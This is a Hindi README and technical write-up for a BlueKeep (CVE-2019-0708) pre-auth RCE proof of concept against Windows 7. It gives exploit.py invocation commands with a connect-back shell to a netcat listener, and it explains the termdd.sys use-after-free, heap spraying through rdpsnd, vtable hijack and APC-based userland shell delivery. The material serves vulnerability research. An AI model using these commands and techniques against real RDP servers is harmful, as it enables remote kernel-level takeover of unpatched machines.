
CVE-2019-0708 (BlueKeep) प्रूफ ऑफ कॉन्सेप्ट जो Windows7 पर प्री-ऑथ RCE की अनुमति देता है
यह रिपॉजिटरी विंडोज रिमोट डेस्कटॉप सर्विसेज (RDS) में रिमोट कोड एक्जीक्यूशन बग को प्रदर्शित करती है।
यहाँ BlueKeep भेद्यता के बारे में एक POC कोड और तकनीकी रिपोर्ट है, जिसे हमने पहले विकसित किया था।
नोट: हमारा लक्ष्य विश्लेषकों को गंभीर भेद्यताओं के बारे में बेहतर समझ हासिल करने में मदद करना है।
हमारा एक्सप्लॉइट कोड Python 3 में लिखा गया है, और PyRDP लाइब्रेरी पर निर्भर करता है। कृपया PyRDP की इंस्टॉलेशन गाइड का पालन करते हुए उन्हें सेट अप करें।
वर्तमान में हमारा एक्सप्लॉइट विंडोज 7 SP 1(6.1.7601) x64 पर Virtual Box में लक्षित और परीक्षण किया गया है।
यदि आपके कंप्यूटर का IP पता 192.168.56.1 है और आप example.com:1234 पर RDP सर्वर को लक्षित करते हैं, तो टाइप करें
$ python exploit.py example.com -rp 1234 192.168.56.1
यदि स्क्रिप्ट सर्वर का सफलतापूर्वक शोषण करती है, तो एक कनेक्ट-बैक शेलकोड सर्वर से वापस 192.168.56.1:4444 पर एक TCP कनेक्शन शुरू करता है। इसलिए, उदाहरण के लिए आपको netcat के साथ कनेक्शन की प्रतीक्षा करनी चाहिए:
$ nc -v -l 4444
यदि आप उस पोर्ट नंबर को बदलना चाहते हैं जिससे सर्वर वापस कनेक्ट होता है, तो -bp विकल्प का उपयोग करें:
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567
मई 2019 में, माइक्रोसॉफ्ट ने रिमोट डेस्कटॉप सर्विसेज (पूर्व में टर्मिनल सर्विसेज के रूप में जाना जाता था) में एक महत्वपूर्ण रिमोट कोड एक्जीक्यूशन भेद्यता CVE-2019-0708 का खुलासा किया। यह भेद्यता प्री-प्रमाणीकरण है - जिसका अर्थ है कि यह भेद्यता वर्मेबल है, जिसमें व्यापक व्यवधान पैदा करने की क्षमता है। हमलावर लक्षित सर्वर पर तैयार किए गए रिमोट डेस्कटॉप प्रोटोकॉल (RDP) संदेश भेजकर और प्रशासनिक विशेषाधिकारों के साथ मनमाना कोड निष्पादन प्राप्त करके इस भेद्यता का शोषण कर सकता है।
माइक्रोसॉफ्ट रिमोट डेस्कटॉप सर्विसेज उपयोगकर्ता को दूरस्थ रूप से खुले इंटरैक्टिव विंडोज सत्र प्रदान करती है। यह पोर्ट 3389/TCP पर रिमोट डेस्कटॉप प्रोटोकॉल (RDP) का उपयोग करके उपयोगकर्ता क्लाइंट के साथ संवाद करके उपयोगकर्ता के विंडोज डेस्कटॉप को प्रस्तुत करता है।
RDP प्रोटोकॉल में वर्चुअल चैनल नामक सॉफ्टवेयर एक्सटेंशन के माध्यम से बढ़ाया जाने की क्षमता है। कार्यात्मक संवर्द्धन के उदाहरणों में शामिल हो सकते हैं: विशेष प्रकार के हार्डवेयर, ऑडियो, या मुख्य कार्यक्षमता में अन्य जोड़ के लिए समर्थन।
इन चैनलों में मानक माइक्रोसॉफ्ट द्वारा प्रदान किए गए चैनल शामिल हैं जैसे "rdpdr" (रीडायरेक्शन), "rdpsnd"(ध्वनि), "cliprdr" (क्लिपबोर्ड शेयरिंग) आदि। उपयोगकर्ता अन्य चैनलों का समर्थन करने के लिए RDP API का उपयोग करके मॉड्यूल लिख सकते हैं। उपरोक्त चैनलों के अलावा, माइक्रोसॉफ्ट डिफ़ॉल्ट रूप से दो चैनल बनाता है: MS_T120 (RDP के लिए ही प्रयुक्त) और CTXTW (Citrix ICA में प्रयुक्त)।
भेद्यता "MCS Connect Initial and GCC Create" अनुरोध के माध्यम से MS_T120 के वर्चुअल चैनल बाइंडिंग प्रक्रिया से संबंधित है। अधिक पृष्ठभूमि जानकारी ZDI से उपलब्ध है। जैसा कि ZDI लेख में उल्लेख किया गया है, क्लाइंट द्वारा अनुरोधित सभी वर्चुअल चैनल termdd!IcaCreateChannel() का उपयोग करके बनाए जाते हैं। फिर इन चैनल संरचनाओं के पॉइंटर्स एक तालिका में संग्रहीत किए जाते हैं, जिसे हम ChannelPointerTable कहेंगे। जब RDP क्लाइंट के साथ कनेक्शन स्थापित होता है, तो MS_T120 सहित सभी स्थैतिक वर्चुअल चैनल विंडोज RDP सर्वर द्वारा आंतरिक रूप से आरंभ किए जाते हैं और ChannelPointerTable द्वारा इंगित किए जाते हैं।
MS_T120 और CTXTW बनाने का क्वेरी rdpcore!WDLIB_IcaVirtualQueryBindings() द्वारा जारी किया जाता है।
चित्र .1: MS_T120 और CTXTW बनाने के लिए क्वेरी का निर्माण
क्वेरी को termdd!IcaBindVirtualChannels() पर पास करने के बाद, termdd!IcaAllocateChannel() में एक वर्चुअल चैनल संरचना बनाई जाती है और ChannelPointerTable में पंजीकृत की जाती है।
चित्र .2: वर्चुअल चैनल संरचना बनाना और पंजीकृत करना
फ़ंक्शन रूटीन termdd!IcaBindChannel() ChannelPointerTable में एक वर्चुअल चैनल संरचना को पंजीकृत करने के लिए जिम्मेदार है।

यहाँ विंडोज 7 x64 पर स्टैक ट्रेस है, जब termdd!IcaBindChannel() को पहले तर्क "MS_T120" और तीसरे तर्क 0x1f के साथ कॉल किया जाता है।
चित्र .3: प्रारंभिक अनुरोध के दौरान MS_T1209 को स्लॉट 0x1f से बांधा गया है
फिर ChannelPointerTable इस प्रकार दिखता है। ध्यान दें कि MS_T120 हमेशा स्लॉट 0x1F में मौजूद होता है।
चित्र .4: प्रारंभिक अनुरोध के दौरान ChannelPointerTable
विंडोज RDP कर्नेल ड्राइवर, termdd.sys में एक use-after-free भेद्यता मौजूद है।
समस्या यह है कि जब क्लाइंट "MCS Connect Initial and GCC Create" के दौरान नाम MS_T120\x00 के साथ चैनल निर्दिष्ट करता है, तो termdd!IcaCreateChannel() termdd!IcaFindChannelByName() को कॉल करता है और स्लॉट 0x1F में मौजूदा MS_T120 चैनल संरचना लौटाता है। फिर इस चैनल संरचना को एक नई वर्चुअल चैनल प्रविष्टि माना जाता है और "MCS Attach User Request" के दौरान अन्य स्लॉट (इस उदाहरण में, स्लॉट 2) में संग्रहीत किया जाता है।
यहाँ विंडोज 7 x64 पर स्टैक ट्रेस है, जब termdd!IcaBindChannel() को पहले तर्क "MS_T120" और तीसरे तर्क 0x2 के साथ कॉल किया जाता है।
चित्र .5: अटैच अनुरोध के दौरान MS_T1209 को स्लॉट 0x2 से भी बांधा गया है
दूसरे शब्दों में, MS_T120 चैनल संरचना दो स्लॉट 0x1F और 0x2 द्वारा इंगित की जाती है।
चित्र .6: अटैच अनुरोध के दौरान ChannelPointerTable
यदि कोई हमलावर फिर MS_T120 चैनल में अमान्य डेटा भेजता है, तो termdd.sys termdd!IcaCloseChannel() का उपयोग करके चैनल को बंद कर देता है और स्लॉट पर पॉइंटर को साफ़ कर देता है। (चल रहे उदाहरण में स्लॉट 2) हालाँकि, स्लॉट 0x1F में वही पॉइंटर साफ़ नहीं होता है। बाद में, जब कनेक्शन समाप्त होता है, तो RDPWD!HandleDisconnectProviderUlt() लागू होता है, जो बदले में termdd!IcaChannelInputInternal() को कॉल करता है और स्लॉट 0x1F पर पॉइंटर का उपयोग करके मुक्त की गई MS_T1209 चैनल संरचना को फिर से नष्ट करने का प्रयास करता है। चैनल संरचना के अंदर vtable पॉइंटर द्वारा एक विनाश प्रक्रिया लागू की जाती है। यह use-after-free स्थिति की ओर ले जाता है।
चित्र .7: vtable डीरेफरेंस
जैसा कि पिछले अनुभाग में समझाया गया है, RDPWD!HandleDisconnectProviderUlt() मुक्त की गई चैनल संरचना के अंदर vtable पॉइंटर से एक फ़ंक्शन को कॉल करने का प्रयास करता है। यदि कोई हमलावर चैनल संरचना में मानों को नियंत्रित कर सकता है, तो वह vtable पॉइंटर को अधिलेखित कर सकता है, जो कर्नेल विशेषाधिकारों के साथ मनमाना कोड निष्पादन की ओर ले जाता है। हालाँकि, इसे साकार करने के लिए, दो कठिनाइयाँ हैं जिन्हें दूर करना होगा।
एक है पहले स्थान पर मुक्त की गई चैनल संरचना में मानों को कैसे नियंत्रित किया जाए। इसके लिए, हमलावर के लिए मुक्त संरचना के समान स्थान पर मेमोरी आवंटित करना विशिष्ट और स्थिर है, क्योंकि लक्षित भेद्यता use-after-free है।
हालाँकि, इस मामले में उसके लिए अपनी इच्छानुसार लक्ष्य स्थान पर अपनी मेमोरी आवंटित करने का कोई निर्धारित तरीका नहीं है।
ऐसा इसलिए है क्योंकि कर्नेल में, कई थ्रेड चलते हैं और (आभासी रूप से) एक साथ मेमोरी आवंटित करते हैं। उसकी मेमोरी कहाँ आवंटित की जाएगी यह इस बात पर निर्भर करता है कि थ्रेड किस क्रम में चलते हैं। लगभग सभी मामलों में, वह निश्चित नहीं हो सकता कि उसने सफल आवंटन किया है या नहीं।


दूसरी है vtable और उसमें पॉइंटर्स के पतों को कहाँ सेट किया जाए। जैसा कि पिछले अनुभाग में देखा गया है, हमलावर को vtable का पता सेट करना आवश्यक है। चूंकि वह मनमाना कोड निष्पादन प्राप्त करना चाहता है, उसे पता इस प्रकार सेट करना चाहिए कि नकली vtable में वह पता हो जिसे वह निष्पादित करना चाहता है (जैसे शेलकोड या किसी गैजेट का पता)। हालाँकि, लगभग निश्चित रूप से वह कर्नेल हीप और KASLR की यादृच्छिकता के कारण ऐसा उपयुक्त पता नहीं जान सकता है:
इन तथ्यों का मतलब है कि कोई हमलावर सीधे मनमाना कोड निष्पादन प्राप्त नहीं कर सकता है, भले ही वह vtable पॉइंटर को नियंत्रित कर सके, जब तक कि वह कर्नेल में पतों को लीक करने वाली किसी अन्य भेद्यता का उपयोग न करे। इसके अलावा, जैसा कि आप देख सकते हैं, "शेलकोड या किसी गैजेट का पता" भी वह है जो हमलावर नहीं जान सकता है।
हमारा एक्सप्लॉइट इन बाधाओं से एकमात्र तकनीक द्वारा निपटता है: हीप स्प्रेइंग। हीप स्प्रेइंग उन यादृच्छिकताओं को तोड़ने की एक विधि है, जो बड़ी मात्रा में मेमोरी के बड़ी संख्या में आवंटन करती है।
चित्र .8: स्प्रेइंग से पहले हीप पूल का उपयोग
चित्र .9: स्प्रेइंग के बाद हीप पूल का उपयोग
बार-बार तैयार किए गए आवंटन को बहुत बार दोहराने से, हमलावर संभावना बढ़ा सकता है कि आवंटित मेमोरी में से कुछ मुक्त चैनल संरचना के स्थान पर स्थित है।
यदि कर्नेल हीप में अधिकांश ऑब्जेक्ट हमलावर द्वारा तैयार किए गए हैं, तो वह लापरवाही से हीप में कुछ पते को नकली vtable के पते के रूप में निर्दिष्ट कर सकता है क्योंकि निर्दिष्ट पता उच्च संभावना के साथ उसकी ऑब्जेक्ट्स को इंगित करता है। हम ध्यान देते हैं कि कर्नेल हीप का बेस पता KASLR द्वारा यादृच्छिक नहीं है। मूल रूप से हीप की यादृच्छिकता केवल थ्रेड निष्पादन के क्रम से आती है।
सौभाग्य से और सबसे महत्वपूर्ण बात, विंडोज 7 में, गैर-पेज किए गए कर्नेल पूल में NX बिट सक्षम नहीं है। इसका मतलब है कि हमलावर कर्नेल हीप में न केवल नकली vtable, बल्कि सीधे एक शेलकोड भी संग्रहीत कर सकता है। यह शोषण को बहुत आसान बनाता है क्योंकि हमें रिटर्न-ओरिएंटेड प्रोग्रामिंग का उपयोग करने की आवश्यकता नहीं है।
चित्र .10: पेज टेबल एंट्री (PTE) अनुमति
हीप स्प्रेइंग के लिए, स्पष्ट रूप से हमलावर को ऐसी कार्यक्षमता की आवश्यकता है जो उसे कर्नेल हीप में मेमोरी आवंटित करने और उसमें इनपुट देने की अनुमति दे। Unit 42 की रिपोर्ट और Metasploit में BlueKeep एक्सप्लॉइट के आधार पर, हमने उन रूटीन के लिए कर्नेल ड्राइवरों की खोज की जो वह कार्यक्षमता प्रदान करते हैं। हमने कई PDU का परीक्षण किया और अंत में निष्कर्ष निकाला कि सबसे विश्वसनीय और उपयोगी तरीका rdpsnd चैनल पर वर्चुअल चैनल PDU भेजना है जैसा कि Metasploit का एक्सप्लॉइट उपयोग करता है। आपके संदर्भ के लिए, आइए बताते हैं कि हम Unit 42 की रिपोर्ट में प्रस्तुत तीन प्रकार के PDU को क्यों नहीं अपना सके:
वर्चुअल चैनल PDU, जैसा कि इसके नाम से पता चलता है, स्थैतिक वर्चुअल चैनलों तक डेटा परिवहन करने के लिए क्लाइंट और सर्वर द्वारा आदान-प्रदान किया जाता है। जहाँ तक PDU के अंदर डेटा को संसाधित करने का सवाल है, यह चैनल के अनुसार भिन्न होता है। माइक्रोसॉफ्ट द्वारा एक्सटेंशन के रूप में प्रदान किए गए कई प्रसिद्ध चैनलों में से, rdpsnd चैनल में कोई भी इनपुट प्राप्त करने और उसके लिए मेमोरी आवंटित करने की अनूठी विशेषता है। चूंकि यह चैनल विंडोज 7 में डिफ़ॉल्ट रूप से उपयोग किया जा सकता है, हम हीप स्प्रेइंग के लिए आसानी से अपने पेलोड भेज सकते हैं।
हमने ऊपर बताए गए महत्वपूर्ण बिंदुओं को ध्यान में रखते हुए एक प्रूफ ऑफ कॉन्सेप्ट लिखा, और सफलतापूर्वक मनमाना कोड निष्पादन प्राप्त किया।
चित्र .11: नियंत्रित vtable पता
चित्र .12: शेलकोड (ud2) को इंगित करने वाले दुर्भावनापूर्ण पते के साथ vtable पते को अधिलेखित करने में सफलता
यद्यपि हमने पिछले अनुभाग में शेलकोड निष्पादित करने के बारे में बताया, वास्तव में यह सब कुछ नहीं है। शेलकोड कर्नेल भूमि में चलता है जबकि हमलावर जो चाहता है वह "यूजरलैंड" में प्रशासनिक विशेषाधिकार है। सैद्धांतिक रूप से वे इस बात में समान हैं कि वह इसके साथ क्या कर सकता है, लेकिन इस बात में भिन्न हैं कि वह इसके साथ जो कार्य करना चाहता है उसे कैसे साकार कर सकता है। उदाहरण के लिए, एक शेलकोड के साथ, हमलावर को किसी निर्देशिका में फ़ाइलों को सूचीबद्ध करने के लिए सौ पंक्तियों का असेंबली कोड लिखने की आवश्यकता हो सकती है, जबकि वह एक विशेषाधिकार प्राप्त शेल के साथ केवल 'dir' टाइप कर सकता है।
इस प्रकार, हमारे एक्सप्लॉइट का लक्ष्य हमलावर के लिए एक विशेषाधिकार प्राप्त शेल प्रदान करना है, और इसे साकार करने के लिए कुछ और प्रयासों की आवश्यकता है। चूंकि शेलकोड कर्नेल भूमि में निष्पादित होता है, पहले शेलकोड को एक (विशेषाधिकार प्राप्त) यूजरलैंड थ्रेड ढूंढना या बनाना होगा, और फिर उस थ्रेड में cmd.exe निष्पादित करना होगा। इस बार हमें दो मामलों के बारे में सोचने की आवश्यकता है: थ्रेड कैसे खोजें या बनाएं, और यूजरलैंड में शेलकोड निष्पादित करने के लिए यूजरलैंड में मेमोरी कैसे आवंटित करें।
यूजरलैंड थ्रेड खोजने का पहला मामला इस तथ्य के कारण उत्पन्न होता है कि जहाँ शेलकोड चलता है वह संदर्भ सामान्य प्रक्रिया संदर्भ नहीं है। यदि यह किसी प्रक्रिया संदर्भ में चल रहा है, तो यह यूजरलैंड पर लौटने के लिए IRET निर्देश का उपयोग कर सकता है। हालाँकि, इस मामले में IRET निष्पादित करने से कर्नेल फ्रीज हो जाता है। इस समस्या को हल करने के कई तरीके हैं, लेकिन उन तरीकों में से, सबसे सामान्य और उपयोगी तरीका असिंक्रोनस प्रोसीजर कॉल (APC) है, जो विंडोज द्वारा असिंक्रोनस घटनाओं को संसाधित करने के लिए प्रदान किया गया तंत्र है। APC एक प्रोग्राम को एक निर्दिष्ट थ्रेड संदर्भ में एक अलग प्रक्रिया के भी फ़ंक्शन निष्पादित करने की अनुमति देता है। इस तंत्र के साथ, शेलकोड आसानी से और वैध रूप से एक नया यूजरलैंड थ्रेड बना सकता है।
APC पंजीकृत करते समय, हमें उस पते को निर्दिष्ट करने की आवश्यकता होती है जहाँ से एक नया यूजरलैंड थ्रेड निष्पादन शुरू करता है। हालाँकि, अब तक हमने केवल कर्नेल हीप में मेमोरी आवंटित की है, जिस तक एक यूजरलैंड थ्रेड स्पष्ट रूप से पहुँच नहीं सकता है। एक यूजरलैंड शेलकोड निष्पादित करने के लिए, हमें एक और मेमोरी स्थान तैयार करना होगा जिसे यूजरलैंड से देखा जा सके, और वहाँ यूजरलैंड शेलकोड संग्रहीत करना होगा। इस प्रकार, हम यूजरलैंड में मेमोरी आवंटित करने के बाद के मामले का सामना करते हैं। इस मुद्दे से निपटने का एक संभावित और सामान्य तरीका ZwAllocateVirtualMemory के साथ एक नया मैपिंग बनाना है। हालाँकि, यह थोड़ा अनावश्यक है, और वास्तव में विंडोज 7 में एक आसान तरीका है: KUSER_SHARED_DATA का उपयोग करना। KUSER_SHARED_DATA समर्पित मैपिंग में संग्रहीत एक डेटा संरचना है, जो यूजरलैंड और कर्नेल भूमि दोनों में मैप की जाती है, और निश्चित पते (क्रमशः 0x7FFE0000 और 0xFFFFF78000000000) पर स्थित होती है। यह लिनक्स में vsyscall के समान एक सुविधा है। यदि हम इस मैपिंग में यूजरलैंड शेलकोड संग्रहीत करते हैं, तो सब कुछ ठीक चलेगा: कर्नेल-लैंड शेलकोड यूजरलैंड शेलकोड को इस मैपिंग में कॉपी कर सकता है, और APC को बिना किसी कठिनाई के पंजीकृत कर सकता है क्योंकि वह मैपिंग का पता जानता है।
चित्र .13: शेलकोड समर्पित मैपिंग, 0x7FFE0000 (यूजरमोड) और 0xFFFFF78000000000 (कर्नेलमोड) में संग्रहीत है
चित्र .14: शेलकोड का एक भाग
इस भेद्यता को एक CVE नंबर, CVE-2019-0708 सौंपा गया है। माइक्रोसॉफ्ट ने पहले ही 2019.5.15 को एक सुरक्षा पैच KB4499175 प्रकाशित कर दिया है। आप भेद्यता, प्रभावित संस्करण और शमन के बारे में अधिक जानकारी यहाँ देख सकते हैं।
इस परियोजना को आंशिक रूप से एडवांस्ड टेक्नोलॉजी लैब, रिक्रूट कंपनी लिमिटेड द्वारा समर्थित किया गया था।
